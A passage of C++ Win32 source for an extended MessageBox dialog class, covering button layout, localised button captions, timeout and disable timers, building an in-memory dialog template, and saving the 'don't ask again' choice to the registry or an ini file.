rect.SetRect(x, y, x + button_width, y + ButtonHeight); AddItem(CXDialogItem::BUTTON, IDCONTINUE, &rect, szContinue); Set(CancelButton); break; case MB_SKIPSKIPALLCANCEL: rect.SetRect(x, y, x + button_width, y + ButtonHeight); AddItem(CXDialogItem::BUTTON, IDSKIP, &rect, szSkip); x += button_width + ButtonSpacing; rect.SetRect(x, y, x + button_width, y + ButtonHeight); AddItem(CXDialogItem::BUTTON, IDSKIPALL, &rect, szSkipAll); x += button_width + ButtonSpacing; rect.SetRect(x, y, x + button_width, y + ButtonHeight); AddItem(CXDialogItem::BUTTON, IDCANCEL, &rect, szCancel); Set(CancelButton); break; case MB_IGNOREIGNOREALLCANCEL: rect.SetRect(x, y, x + button_width, y + ButtonHeight); AddItem(CXDialogItem::BUTTON, IDIGNORE, &rect, szIgnore); x += button_width + ButtonSpacing; rect.SetRect(x, y, x + button_width, y + ButtonHeight); AddItem(CXDialogItem::BUTTON, IDIGNOREALL, &rect, szIgnoreAll); x += button_width + ButtonSpacing; rect.SetRect(x, y, x + button_width, y + ButtonHeight); AddItem(CXDialogItem::BUTTON, IDCANCEL, &rect, szCancel); Set(CancelButton); break; default: SetRect(&rect,x, y, x + button_width, y + ButtonHeight); AddItem(CXDialogItem::BUTTON, IDOK, &rect, szOK); break; } } else { // process custom buttons TCHAR szCustomButtons[MAX_PATH]; _tcscpy(szCustomButtons, m_szCustomButtons); int i = 0; TCHAR * cp = _tcstok(szCustomButtons, _T("\n")); while (cp != NULL) { if (i >= MaxCustomButtons) break; if (i > 0) x += button_width + ButtonSpacing; rect.SetRect(x, y, x + button_width, y + ButtonHeight); AddItem(CXDialogItem::BUTTON, IDCUSTOM1 + i, &rect, cp); cp = _tcstok(NULL, _T("\n")); i++; } } if (nStyle & MB_HELP) { x += button_width + ButtonSpacing; SetRect(&rect,x, y, x + button_width, y + ButtonHeight); AddItem(CXDialogItem::BUTTON, IdExHelp, &rect, szHelp); } if (m_lpReportFunc) { x += button_width + ButtonSpacing; SetRect(&rect,x, y, x + button_width, y + ButtonHeight); AddItem(CXDialogItem::BUTTON, IdExReport, &rect, szReport); } /////////////////////////////////////////////////////////////////////////// // add checkbox nMaxWidth = ::GetSystemMetrics(SM_CXSCREEN) / 3; CXRect checkboxrect; SetRect(&checkboxrect,0, 0, nMaxWidth, DoNotAskAgainHeight); if (nStyle & MB_DONOTASKAGAIN) AddCheckBox(hdc, x, y, rect, mbrect, buttonrow, checkboxrect, szDoNotAskAgain); else if (nStyle & MB_DONOTTELLAGAIN) AddCheckBox(hdc, x, y, rect, mbrect, buttonrow, checkboxrect, szDoNotTellAgain); else if (nStyle & MB_DONOTSHOWAGAIN) AddCheckBox(hdc, x, y, rect, mbrect, buttonrow, checkboxrect, szDoNotShowAgain); if (buttonrow.bottom >= mbrect.bottom) mbrect.bottom = buttonrow.bottom + (2 * SpacingSize); if (mbrect.right < (buttonrow.right + (2 * SpacingSize))) mbrect.right = buttonrow.right + (2 * SpacingSize); short hidbu = HIWORD(GetDialogBaseUnits()); short lodbu = LOWORD(GetDialogBaseUnits()); m_dlgTempl.x = 0; m_dlgTempl.y = 0; m_dlgTempl.cx = (short)((mbrect.Width() * 4) / lodbu); m_dlgTempl.cy = (short)((mbrect.Height() * 8) / hidbu); ::SelectObject(hdc, hOldFont); ::DeleteDC(hdc); } /////////////////////////////////////////////////////////////////////////////// // CXDialogTemplate dtor CXDialogTemplate::~CXDialogTemplate() { if (m_hIcon) DestroyIcon(m_hIcon); if (m_hFont) ::DeleteObject(m_hFont); for (int i = 0; i < MaxItems; i++) { if (m_pDlgItemArray[i]) { delete m_pDlgItemArray[i]; m_pDlgItemArray[i] = NULL; } } if (m_lpszMessage) delete [] m_lpszMessage; m_lpszMessage = NULL; if (m_lpszCaption) delete [] m_lpszCaption; m_lpszCaption = NULL; } /////////////////////////////////////////////////////////////////////////////// // AddCheckBox void CXDialogTemplate::AddCheckBox(HDC hdc, int& x, int& y, CXRect& rect, CXRect& mbrect, CXRect& buttonrow, CXRect& checkboxrect, LPCTSTR lpszButtonCaption) { x = 2 * ButtonSpacing + 5; y += ButtonHeight + (2 * ButtonSpacing); ::DrawText(hdc, lpszButtonCaption, -1, &checkboxrect, DT_LEFT | DT_NOPREFIX | DT_CALCRECT | DT_SINGLELINE); int w = checkboxrect.Width(); w += w/3; SetRect(&rect, x, y, x + w, y + DoNotAskAgainHeight); AddItem(CXDialogItem::CHECKBOX, IdDoNotAskAgian, &rect, lpszButtonCaption); buttonrow.bottom = y + DoNotAskAgainHeight; mbrect.bottom = buttonrow.bottom + SpacingSize; if (mbrect.Width() < (x + w)) mbrect.right = mbrect.left + x + w; } /////////////////////////////////////////////////////////////////////////////// // LoadButtonStrings void CXDialogTemplate::LoadButtonStrings() { TRACE(_T("in CXDialogTemplate::LoadButtonStrings\n")); _tcscpy(szAbort, _T("&Abort")); _tcscpy(szCancel, _T("Cancel")); _tcscpy(szContinue, _T("&Continue")); _tcscpy(szDoNotAskAgain, _T("Don't ask me again")); _tcscpy(szDoNotTellAgain, _T("Don't tell me again")); _tcscpy(szDoNotShowAgain, _T("Don't show me again")); _tcscpy(szHelp, _T("&Help")); _tcscpy(szIgnore, _T("&Ignore")); _tcscpy(szIgnoreAll, _T("I&gnore All")); _tcscpy(szNo, _T("&No")); _tcscpy(szNoToAll, _T("N&o to All")); _tcscpy(szOK, _T("OK")); if (szReport[0] == _T('\0')) _tcscpy(szReport, _T("Re&port")); _tcscpy(szRetry, _T("&Retry")); _tcscpy(szSkip, _T("&Skip")); _tcscpy(szSkipAll, _T("S&kip All")); _tcscpy(szTryAgain, _T("&Try Again")); _tcscpy(szYes, _T("&Yes")); _tcscpy(szYesToAll, _T("Y&es to All")); } /////////////////////////////////////////////////////////////////////////////// // LoadButtonStringsFromResources void CXDialogTemplate::LoadButtonStringsFromResources(HINSTANCE hInstance) { TRACE(_T("in CXDialogTemplate::LoadButtonStringsFromResources\n")); _ASSERTE(hInstance); LoadButtonStrings(); // initialize all strings in case LoadString fails if (::LoadString(hInstance, IDS_ABORT, szAbort, MaxButtonStringSize) == 0) _tcscpy(szAbort, _T("&Abort")); szAbort[MaxButtonStringSize-1] = _T('\0'); if (::LoadString(hInstance, IDS_CANCEL, szCancel, MaxButtonStringSize) == 0) _tcscpy(szCancel, _T("Cancel")); szCancel[MaxButtonStringSize-1] = _T('\0'); if (::LoadString(hInstance, IDS_CONTINUE, szContinue, MaxButtonStringSize) == 0) _tcscpy(szContinue, _T("&Continue")); szContinue[MaxButtonStringSize-1] = _T('\0'); if (::LoadString(hInstance, IDS_DONOTASKAGAIN, szDoNotAskAgain, MaxButtonStringSize) == 0) _tcscpy(szDoNotAskAgain, _T("Don't ask me again")); szDoNotAskAgain[MaxButtonStringSize-1] = _T('\0'); if (::LoadString(hInstance, IDS_DONOTTELLAGAIN, szDoNotTellAgain, MaxButtonStringSize) == 0) _tcscpy(szDoNotTellAgain, _T("Don't tell me again")); szDoNotTellAgain[MaxButtonStringSize-1] = _T('\0'); if (::LoadString(hInstance, IDS_DONOTSHOWAGAIN, szDoNotShowAgain, MaxButtonStringSize) == 0) _tcscpy(szDoNotShowAgain, _T("Don't show again")); szDoNotShowAgain[MaxButtonStringSize-1] = _T('\0'); if (::LoadString(hInstance, IDS_HELP, szHelp, MaxButtonStringSize) == 0) _tcscpy(szHelp, _T("&Help")); szHelp[MaxButtonStringSize-1] = _T('\0'); if (::LoadString(hInstance, IDS_IGNORE, szIgnore, MaxButtonStringSize) == 0) _tcscpy(szIgnore, _T("&Ignore")); szIgnore[MaxButtonStringSize-1] = _T('\0'); if (::LoadString(hInstance, IDS_IGNOREALL, szIgnoreAll, MaxButtonStringSize) == 0) _tcscpy(szIgnoreAll, _T("I&gnore All")); szIgnoreAll[MaxButtonStringSize-1] = _T('\0'); if (::LoadString(hInstance, IDS_NO, szNo, MaxButtonStringSize) == 0) _tcscpy(szNo, _T("&No")); szNo[MaxButtonStringSize-1] = _T('\0'); if (::LoadString(hInstance, IDS_NOTOALL, szNoToAll, MaxButtonStringSize) == 0) _tcscpy(szNoToAll, _T("N&o to All")); szNoToAll[MaxButtonStringSize-1] = _T('\0'); if (::LoadString(hInstance, IDS_OK, szOK, MaxButtonStringSize) == 0) _tcscpy(szOK, _T("OK")); szOK[MaxButtonStringSize-1] = _T('\0'); if (szReport[0] == _T('\0')) if (::LoadString(hInstance, IDS_REPORT, szReport, MaxButtonStringSize) == 0) _tcscpy(szReport, _T("Re&port")); szReport[MaxButtonStringSize-1] = _T('\0'); if (::LoadString(hInstance, IDS_RETRY, szRetry, MaxButtonStringSize) == 0) _tcscpy(szRetry, _T("&Retry")); szRetry[MaxButtonStringSize-1] = _T('\0'); if (::LoadString(hInstance, IDS_SKIP, szSkip, MaxButtonStringSize) == 0) _tcscpy(szSkip, _T("&Skip")); szSkip[MaxButtonStringSize-1] = _T('\0'); if (::LoadString(hInstance, IDS_SKIPALL, szSkipAll, MaxButtonStringSize) == 0) _tcscpy(szSkipAll, _T("S&kip All")); szSkipAll[MaxButtonStringSize-1] = _T('\0'); if (::LoadString(hInstance, IDS_TRYAGAIN, szTryAgain, MaxButtonStringSize) == 0) _tcscpy(szTryAgain, _T("&Try Again")); szTryAgain[MaxButtonStringSize-1] = _T('\0'); if (::LoadString(hInstance, IDS_YES, szYes, MaxButtonStringSize) == 0) _tcscpy(szYes, _T("&Yes")); szYes[MaxButtonStringSize-1] = _T('\0'); if (::LoadString(hInstance, IDS_YESTOALL, szYesToAll, MaxButtonStringSize) == 0) _tcscpy(szYesToAll, _T("Y&es to All")); szYesToAll[MaxButtonStringSize-1] = _T('\0'); } /////////////////////////////////////////////////////////////////////////////// // MsgBoxDlgProc BOOL CALLBACK CXDialogTemplate::MsgBoxDlgProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) { CXDialogTemplate* Me = (CXDialogTemplate*) ::GetWindowLong(hwnd, GWL_USERDATA); HWND hwndChild; switch (message) { case WM_INITDIALOG: { ::SetWindowLong(hwnd, GWL_USERDATA, lParam); // save it for the others Me = (CXDialogTemplate*) lParam; _ASSERTE(Me); HDC hdc = ::CreateDC(_T("DISPLAY"), NULL, NULL, NULL); _ASSERTE(hdc); ::SelectObject(hdc, Me->m_hFont); ::DeleteDC(hdc); UINT nID; for (nID = FirstControlId; nID < Me->m_nMaxID; nID++) { hwndChild = ::GetDlgItem(hwnd, nID); if (::IsWindow(hwndChild)) ::SendMessage(hwndChild, WM_SETFONT, (WPARAM)Me->m_hFont, 0); else break; } for (nID = 1; nID <= ID_XMESSAGEBOX_LAST_ID; nID++) { hwndChild = ::GetDlgItem(hwnd, nID); if (hwndChild && ::IsWindow(hwndChild)) { ::SendMessage(hwndChild, WM_SETFONT, (WPARAM)Me->m_hFont, 0); // disbale all buttons if disabled seconds specified if (Me->m_nDisabledSeconds) { TCHAR szClassName[MAX_PATH]; ::GetClassName(hwndChild, szClassName, countof(szClassName)-2); if (_tcsicmp(szClassName, _T("Button")) == 0) { LONG nStyle = ::GetWindowLong(hwndChild, GWL_STYLE); nStyle |= WS_DISABLED; ::SetWindowLong(hwndChild, GWL_STYLE, nStyle); } ::EnableMenuItem(GetSystemMenu(hwnd, FALSE), SC_CLOSE, MF_GRAYED); } } } hwndChild = ::GetDlgItem(hwnd, IdExHelp); if (hwndChild && ::IsWindow(hwndChild)) ::SendMessage(hwndChild, WM_SETFONT, (WPARAM)Me->m_hFont, 0); hwndChild = ::GetDlgItem(hwnd, IdDoNotAskAgian); if (hwndChild && ::IsWindow(hwndChild)) { ::SendMessage(hwndChild, WM_SETFONT, (WPARAM)Me->m_hFont, 0); CheckDlgButton(hwnd, IdDoNotAskAgian, 0); } hwndChild = ::GetDlgItem(hwnd, IdExReport); if (hwndChild && ::IsWindow(hwndChild)) ::SendMessage(hwndChild, WM_SETFONT, (WPARAM)Me->m_hFont, 0); hwndChild = ::GetDlgItem(hwnd, Me->m_nDefId); if (hwndChild && ::IsWindow(hwndChild)) ::SetFocus(hwndChild); // disable close button just like real MessageBox if (!Me->Option(CancelOrOkButton)) ::EnableMenuItem(GetSystemMenu(hwnd, FALSE), SC_CLOSE, MF_GRAYED); if (Me->m_hIcon) { HWND hwndIcon; hwndIcon = ::GetDlgItem(hwnd, 1000); ::SetWindowLong(hwndIcon, GWL_WNDPROC, (LONG) IconProc); ::SetWindowLong(hwndIcon, GWL_USERDATA, (LONG) Me->m_hIcon); } if (Me->m_nStyle & MB_TOPMOST) ::SetWindowPos(hwnd, HWND_TOPMOST, 0,0,0,0, SWP_NOMOVE|SWP_NOSIZE); if (Me->m_nStyle & MB_SETFOREGROUND) ::SetForegroundWindow(hwnd); if (Me->m_X || Me->m_Y) { // caller has specified screen coordinates CXRect dlgRect; ::GetWindowRect(hwnd, &dlgRect); ::MoveWindow(hwnd, Me->m_X, Me->m_Y, dlgRect.Width(), dlgRect.Height(), TRUE); } else if (GetParent(hwnd) != NULL) { // code to center dialog (necessary if not called by MFC app) // [suggested by Tom Wright] CXRect mainRect, dlgRect; ::GetWindowRect(::GetParent(hwnd), &mainRect); ::GetWindowRect(hwnd, &dlgRect); int x = (mainRect.right + mainRect.left)/2 - dlgRect.Width()/2; int y = (mainRect.bottom + mainRect.top) /2 - dlgRect.Height()/2; ::MoveWindow(hwnd, x, y, dlgRect.Width(), dlgRect.Height(), TRUE); } // display seconds countdown if timeout specified if (Me->m_nTimeoutSeconds > 0) ::SetTimer(hwnd, 1, 1000, NULL); if (Me->m_nDisabledSeconds > 0) ::SetTimer(hwnd, 2, Me->m_nDisabledSeconds*1000, NULL); return FALSE; } case WM_COMMAND: { // user clicked on something - stop the timer ::KillTimer(hwnd, 1); if (Me->GetDefaultButtonId()) { HWND hwndDefButton = ::GetDlgItem(hwnd, Me->GetDefaultButtonId()); if (hwndDefButton && ::IsWindow(hwndDefButton)) { if (Me->m_szDefaultButton[0] != _T('\0')) { ::SetWindowText(hwndDefButton, Me->m_szDefaultButton); } } } switch(wParam) { case IDCLOSE: return TRUE; case IDCANCEL: if (Me->Option(CancelButton)) ::EndDialog(hwnd, IDCANCEL); else if (Me->Option(OkButton)) ::EndDialog(hwnd, IDOK); return TRUE; case IdExHelp: { TCHAR szBuf[_MAX_PATH*2]; memset(szBuf, 0, sizeof(szBuf)); ::GetModuleFileName(NULL, szBuf, countof(szBuf) - 1); if (_tcslen(szBuf) > 0) { TCHAR *cp = _tcsrchr(szBuf, _T('.')); if (cp) { _tcscpy(cp, _T(".hlp")); ::WinHelp(hwnd, szBuf, (Me->m_nHelpId == 0) ? HELP_PARTIALKEY : HELP_CONTEXT, Me->m_nHelpId); } } return FALSE; } case IdExReport: { if (Me->m_lpReportFunc) Me->m_lpReportFunc(Me->m_lpszMessage, Me->m_dwReportUserData); return FALSE; } case IdDoNotAskAgian: //IdDoNotAskAgian & DoNotTellAgain share the same id!! return FALSE; default: hwndChild = ::GetDlgItem(hwnd, IdDoNotAskAgian); BOOL bFlag = FALSE; if (hwndChild && ::IsWindow(hwndChild)) bFlag = ::SendMessage(hwndChild, BM_GETCHECK, 0, 0); if (Me->Option(DoNotAskAgain)) wParam |= bFlag ? MB_DONOTASKAGAIN : 0; else if (Me->Option(DoNotTellAgain)) wParam |= bFlag ? MB_DONOTTELLAGAIN : 0; else if (Me->Option(DoNotShowAgain)) wParam |= bFlag ? MB_DONOTSHOWAGAIN : 0; #ifndef XMESSAGEBOX_DO_NOT_SAVE_CHECKBOX // save return code in ini file if Do Not Ask style and // module name were specified if (bFlag && Me->m_lpszModule && (Me->m_lpszModule[0] != _T('\0'))) { TCHAR szPathName[MAX_PATH*2]; // get full path to ini file szPathName[0] = _T('\0'); ::GetModuleFileName(NULL, szPathName, countof(szPathName)-1); TCHAR *cp = _tcsrchr(szPathName, _T('\\')); if (cp != NULL) *(cp+1) = _T('\0'); _tcscat(szPathName, XMESSAGEBOX_INI_FILE); // key is module name and line TCHAR szKey[MAX_PATH*2]; _tcscpy(szKey, Me->m_lpszModule); TRACE(_T("szKey=<%s>\n"), szKey); encode(szKey); // simple encoding to obscure module name TCHAR szLine[100]; szLine[0] = _T('\0'); _tcscat(szKey, _itot(Me->m_nLine, szLine, 10)); TRACE(_T("szKey=<%s>\n"), szKey); #ifndef XMESSAGEBOX_USE_PROFILE_FILE WriteRegistry(Me->m_szCompanyName, szKey, wParam); #else // data string is hex value of MessageBoxExt return code TCHAR szData[100]; _stprintf(szData, _T("%08X"), wParam); ::WritePrivateProfileString(_T("DoNotAsk"), // section name szKey, // key name szData, // string to add szPathName); // initialization file #endif // XMESSAGEBOX_USE_PROFILE_FILE #ifdef _DEBUG // verify that we can read data DWORD dwData = 0; #ifndef XMESSAGEBOX_USE_PROFILE_FILE // read from registry dwData = ReadRegistry(Me->m_szCompanyName, szKey); TRACE(_T("dwData=0x%08X\n"), dwData); #else // read from ini file TCHAR szBuf[100]; ::GetPrivateProfileString(_T("DoNotAsk"), // section name szKey, // key name _T(""), // default string szBuf, // destination buffer countof(szBuf)-1, // size of destination buffer szPathName); // initialization file name dwData = _tcstoul(szBuf, NULL, 16); TRACE(_T("szBuf=<%s> dwData=0x%08X\n"), szBuf, dwData); #endif // XMESSAGEBOX_USE_PROFILE_FILE _ASSERTE(dwData == (DWORD) wParam); #endif // _DEBUG } #endif // #ifndef XMESSAGEBOX_DO_NOT_SAVE_CHECKBOX ::EndDialog(hwnd, wParam); return FALSE; } } case WM_LBUTTONDOWN: case WM_NCLBUTTONDOWN: { // user clicked on dialog or titlebar - stop the timer ::KillTimer(hwnd, 1); if (Me->GetDefaultButtonId()) { HWND hwndDefButton = ::GetDlgItem(hwnd, Me->GetDefaultButtonId()); if (hwndDefButton && ::IsWindow(hwndDefButton)) { if (Me->m_szDefaultButton[0] != _T('\0')) { ::SetWindowText(hwndDefButton, Me->m_szDefaultButton); } } } return FALSE; } case WM_TIMER: // used for timeout { TRACE(_T("in WM_TIMER\n")); if (wParam == 1) // timeout timer { if (Me->m_nTimeoutSeconds <= 0) { ::KillTimer(hwnd, wParam); // time's up, select default button ::SendMessage(hwnd, WM_COMMAND, Me->GetDefaultButtonId() | MB_TIMEOUT, 0); return FALSE; } if (Me->GetDefaultButtonId() == 0) return FALSE; HWND hwndDefButton = ::GetDlgItem(hwnd, Me->GetDefaultButtonId()); if (hwndDefButton == NULL || !::IsWindow(hwndDefButton)) return FALSE; if (Me->m_szDefaultButton[0] == _T('\0')) { // first time - get text of default button ::GetWindowText(hwndDefButton, Me->m_szDefaultButton, MaxButtonStringSize); } TCHAR szButtonText[MaxButtonStringSize*2]; _stprintf(szButtonText, XMESSAGEBOX_TIMEOUT_TEXT_FORMAT, Me->m_szDefaultButton, Me->m_nTimeoutSeconds); ::SetWindowText(hwndDefButton, szButtonText); Me->m_nTimeoutSeconds--; } else if (wParam == 2) // disabled timer { ::KillTimer(hwnd, wParam); for (UINT nID = 1; nID <= ID_XMESSAGEBOX_LAST_ID; nID++) { hwndChild = ::GetDlgItem(hwnd, nID); if (hwndChild && ::IsWindow(hwndChild)) { // enable all buttons TCHAR szClassName[MAX_PATH]; ::GetClassName(hwndChild, szClassName, countof(szClassName)-2); if (_tcsicmp(szClassName, _T("Button")) == 0) { LONG nStyle = ::GetWindowLong(hwndChild, GWL_STYLE); nStyle &= ~WS_DISABLED; ::SetWindowLong(hwndChild, GWL_STYLE, nStyle); } } } // for if (Me->Option(CancelOrOkButton)) ::EnableMenuItem(GetSystemMenu(hwnd, FALSE), SC_CLOSE, MF_ENABLED); ::RedrawWindow(hwnd, NULL, NULL, RDW_INVALIDATE|RDW_UPDATENOW); } } } return FALSE; } /////////////////////////////////////////////////////////////////////////////// // CXDialogTemplate::AddItem void CXDialogTemplate::AddItem(CXDialogItem::Econtroltype cType, UINT nID, CXRect* prect, LPCTSTR pszCaption) { _ASSERTE(m_pDlgItemArray[m_dlgTempl.cdit] == NULL); CXDialogItem::Econtroltype ct = cType; if (ct == CXDialogItem::CHECKBOX) ct = CXDialogItem::BUTTON; m_pDlgItemArray[m_dlgTempl.cdit] = new CXDialogItem(ct); _ASSERTE(m_pDlgItemArray[m_dlgTempl.cdit]); m_pDlgItemArray[m_dlgTempl.cdit]->AddItem(*this, cType, nID, prect, pszCaption); m_dlgTempl.cdit++; _ASSERTE(m_dlgTempl.cdit < MaxItems); } /////////////////////////////////////////////////////////////////////////////// // CXDialogTemplate::Display int CXDialogTemplate::Display() { // The first step is to allocate memory to define the dialog. The information to be // stored in the allocated buffer is the following: // // 1. DLGTEMPLATE structure // typedef struct // { // DWORD style; // DWORD dwExtendedStyle; // WORD cdit; // short x; // short y; // short cx; // short cy; // } DLGTEMPLATE; // 2. 0x0000 (Word) indicating the dialog has no menu // 3. 0x0000 (Word) Let windows assign default class to the dialog // 4. (Caption) Null terminated unicode string // 5. 0x000B (size of the font to be used) // 6. "MS Sans Serif" (name of the typeface to be used) // 7. DLGITEMTEMPLATE structure for the button (HAS TO BE DWORD ALIGNED) // typedef struct // { // DWORD style; // DWORD dwExtendedStyle; // short x; // short y; // short cx; // short cy; // WORD id; // } DLGITEMTEMPLATE; // 8. 0x0080 to indicate the control is a button // 9. (Title). Unicode null terminated string with the caption // 10. 0x0000 0 extra bytes of data for this control // 11. DLGITEMTEMPLATE structure for the Static Text (HAS TO BE DWORD ALIGNED) // 12. 0x0081 to indicate the control is static text // 13. (Title). Unicode null terminated string with the text // 14. 0x0000. 0 extra bytes of data for this control int rc = IDCANCEL; TCHAR szTitle[1024]; _tcsncpy(szTitle, m_lpszCaption, countof(szTitle)-1); szTitle[countof(szTitle)-1] = _T('\0'); int nTitleLen = _tcslen(szTitle); int i = 0; int nBufferSize = sizeof(DLGTEMPLATE) + (2 * sizeof(WORD)) + // menu and class ((nTitleLen + 1) * sizeof(WCHAR)); // NOTE - font is set in MsgBoxDlgProc nBufferSize = (nBufferSize + 3) & ~3; // adjust size to make // first control DWORD aligned // loop to calculate size of buffer we need - // add size of each control: // sizeof(DLGITEMTEMPLATE) + // sizeof(WORD) + // atom value flag 0xFFFF // sizeof(WORD) + // ordinal value of control's class // sizeof(WORD) + // no. of bytes in creation data array // sizeof title in WCHARs for (i = 0; i < m_dlgTempl.cdit; i++) { int nItemLength = sizeof(DLGITEMTEMPLATE) + 3 * sizeof(WORD); int nChars = _tcslen(m_pDlgItemArray[i]->m_szCaption) + 1; nItemLength += nChars * sizeof(WCHAR); if (i != m_dlgTempl.cdit - 1) // the last control does not need extra bytes { nItemLength = (nItemLength + 3) & ~3; // take into account gap } // so next control is DWORD aligned nBufferSize += nItemLength; } HLOCAL hLocal = LocalAlloc(LHND, nBufferSize); _ASSERTE(hLocal); if (hLocal == NULL) return IDCANCEL; BYTE* pBuffer = (BYTE*)LocalLock(hLocal); _ASSERTE(pBuffer); if (pBuffer == NULL) { LocalFree(hLocal); return IDCANCEL; } BYTE* pdest = pBuffer; // transfer DLGTEMPLATE structure to the buffer memcpy(pdest, &m_dlgTempl, sizeof(DLGTEMPLATE)); pdest += sizeof(DLGTEMPLATE); *(WORD*)pdest = 0; // no menu *(WORD*)(pdest + 1) = 0; // use default window class pdest += 2 * sizeof(WORD); // transfer title WCHAR * pchCaption = new WCHAR[nTitleLen + 100]; memset(pchCaption, 0, nTitleLen*2 + 2); #ifdef _UNICODE memcpy(pchCaption, szTitle, nTitleLen * sizeof(TCHAR)); int nActualChars = nTitleLen + 1; #else int nActualChars = MultiByteToWideChar(CP_ACP, 0, (LPCSTR)szTitle, -1, pchCaption, nTitleLen + 1); #endif _ASSERTE(nActualChars > 0); memcpy(pdest, pchCaption, nActualChars * sizeof(WCHAR)); pdest += nActualChars * sizeof(WCHAR); delete pchCaption; // will now transfer the information for each one of the item templates for (i = 0; i < m_dlgTempl.cdit; i++) { pdest = (BYTE*)(((DWORD)pdest + 3) & ~3); // make the pointer DWORD aligned memcpy(pdest, (void *)&m_pDlgItemArray[i]->m_dlgItemTemplate, sizeof(DLGITEMTEMPLATE)); pdest += sizeof(DLGITEMTEMPLATE); *(WORD*)pdest = 0xFFFF; // indicating atom value pdest += sizeof(WORD); *(WORD*)pdest = (WORD)m_pDlgItemArray[i]->m_controltype; // atom value for the control pdest += sizeof(WORD); // transfer the caption even when it is an empty string int nChars = _tcslen(m_pDlgItemArray[i]->m_szCaption) + 1; WCHAR * pchCaption = new WCHAR[nChars+100]; #ifdef _UNICODE memset(pchCaption, 0, nChars*sizeof(TCHAR) + 2); memcpy(pchCaption, m_pDlgItemArray[i]->m_szCaption, nChars * sizeof(TCHAR)); int nActualChars = nChars; #else int nActualChars = MultiByteToWideChar(CP_ACP, 0, (LPCSTR)m_pDlgItemArray[i]->m_szCaption, -1, pchCaption, nChars); #endif _ASSERTE(nActualChars > 0); memcpy(pdest, pchCaption, nActualChars * sizeof(WCHAR)); pdest += nActualChars * sizeof(WCHAR); delete pchCaption; *(WORD*)pdest = 0; // How many bytes in data for control pdest += sizeof(WORD); } _ASSERTE(pdest - pBuffer == nBufferSize); // just make sure we did not overrun the heap HINSTANCE hInstance = GetModuleHandle(NULL); rc = ::DialogBoxIndirectParam(hInstance, (LPCDLGTEMPLATE) pBuffer, m_hWnd, MsgBoxDlgProc, (LPARAM) this); LocalUnlock(hLocal); LocalFree(hLocal); return rc; } /////////////////////////////////////////////////////////////////////////////// // CXDialogItem class /////////////////////////////////////////////////////////////////////////////// // CXDialogItem ctor CXDialogItem::CXDialogItem(CXDialogItem::Econtroltype ctrlType) { m_controltype = ctrlType; } /////////////////////////////////////////////////////////////////////////////// // CXDialogItem::AddItem void CXDialogItem::AddItem(CXDialogTemplate& dialog, Econtroltype ctrltype, UINT nID, CXRect* prect, LPCTSTR lpszCaption) { short hidbu = HIWORD(GetDialogBaseUnits()); short lodbu = LOWORD(GetDialogBaseUnits()); // first fill in the type, location and size of the control m_controltype = ctrltype; if (m_controltype == CHECKBOX) m_controltype = BUTTON; if (prect != NULL) { m_dlgItemTemplate.x = (short)((prect->left * 4) / lodbu); m_dlgItemTemplate.y = (short)((prect->top * 8) / hidbu); m_dlgItemTemplate.cx = (short)((prect->Width() * 4) / lodbu); m_dlgItemTemplate.cy = (short)((prect->Height() * 8) / hidbu); } else { m_dlgItemTemplate.x = 0; m_dlgItemTemplate.y = 0; m_dlgItemTemplate.cx = 10; // some useless default m_dlgItemTemplate.cy = 10; } m_dlgItemTemplate.dwExtendedStyle = 0; m_dlgItemTemplate.id = (WORD)nID; switch (ctrltype) { case ICON: m_dlgItemTemplate.style = WS_CHILD | SS_ICON | WS_VISIBLE; break; case BUTTON: dialog.GetButtonCount()++; m_dlgItemTemplate.style = WS_VISIBLE | WS_CHILD | WS_TABSTOP; if (dialog.GetButtonCount() == dialog.GetDefaultButton()) { m_dlgItemTemplate.style |= BS_DEFPUSHBUTTON; dialog.SetDefaultButtonId(nID); } else { m_dlgItemTemplate.style |= BS_PUSHBUTTON; } break; case CHECKBOX: m_dlgItemTemplate.style = WS_VISIBLE | WS_CHILD | WS_TABSTOP | BS_AUTOCHECKBOX; break; case EDITCONTROL: m_dlgItemTemplate.style = WS_CHILD | WS_VISIBLE | WS_TABSTOP | ES_MULTILINE | ES_LEFT; break; case STATICTEXT: m_dlgItemTemplate.style = WS_CHILD | WS_VISIBLE | SS_LEFT; break; default: _ASSERTE(FALSE); // should never get here } _tcsncpy(m_szCaption, lpszCaption ? lpszCaption : _T(""), countof(m_szCaption)- 1); m_szCaption[countof(m_szCaption)-1] = _T('\0'); } #ifndef XMESSAGEBOX_DO_NOT_SAVE_CHECKBOX #ifndef XMESSAGEBOX_USE_PROFILE_FILE static DWORD ReadRegistry(LPCTSTR lpszCompanyName, LPCTSTR lpszKey) { _ASSERTE((lpszKey != NULL) && (lpszKey[0] != _T('\0'))); if (!lpszKey || lpszKey[0] == _T('\0')) return 0; TCHAR * szRegPath = _T("Software\\"); TCHAR szKey[_MAX_PATH*2]; memset(szKey, 0, _MAX_PATH*2*sizeof(TCHAR)); _tcscpy(szKey, szRegPath); if (lpszCompanyName && lpszCompanyName[0] != _T('\0')) { _tcscat(szKey, lpszCompanyName); _tcscat(szKey, _T("\\")); } TCHAR szPathName[_MAX_PATH*2]; memset(szPathName, 0, _MAX_PATH*2*sizeof(TCHAR)); ::GetModuleFileName(NULL, szPathName, MAX_PATH*2-2); TCHAR *cp = _tcsrchr(szPathName, _T('\\')); if (cp == NULL) cp = szPathName; else cp++; _tcscat(szKey, cp); _tcscat(szKey, _T("\\")); _tcscat(szKey, XMESSAGEBOX_REGISTRY_KEY); TRACE(_T("szKey=<%s>\n"), szKey); // open the registry event source key DWORD dwData = 0; HKEY hKey = NULL; TRACE(_T("trying to open key\n")); LONG lRet = ::RegOpenKeyEx(HKEY_CURRENT_USER, szKey, 0, KEY_READ, &hKey); if (lRet == ERROR_SUCCESS) { // registry key was opened or created - TRACE(_T("key opened ok\n")); // === write EventMessageFile key === DWORD dwType = 0; DWORD dwSize = sizeof(DWORD); lRet = ::RegQueryValueEx(hKey, lpszKey, 0, &dwType, (LPBYTE) &dwData, &dwSize); ::RegCloseKey(hKey); if (lRet != ERROR_SUCCESS) dwData = 0; } else { dwData = 0; } return dwData; } static void WriteRegistry(LPCTSTR lpszCompanyName, LPCTSTR lpszKey, DWORD dwData) { _ASSERTE((lpszKey != NULL) && (lpszKey[0] != _T('\0'))); if (!lpszKey || lpszKey[0] == _T('\0')) return; TCHAR * szRegPath = _T("Software\\"); TCHAR szKey[_MAX_PATH*2]; memset(szKey, 0, _MAX_PATH*2*sizeof(TCHAR)); _tcscpy(szKey, szRegPath); if (lpszCompanyName && lpszCompanyName[0] != _T('\0')) { _tcscat(szKey, lpszCompanyName); _tcscat(szKey, 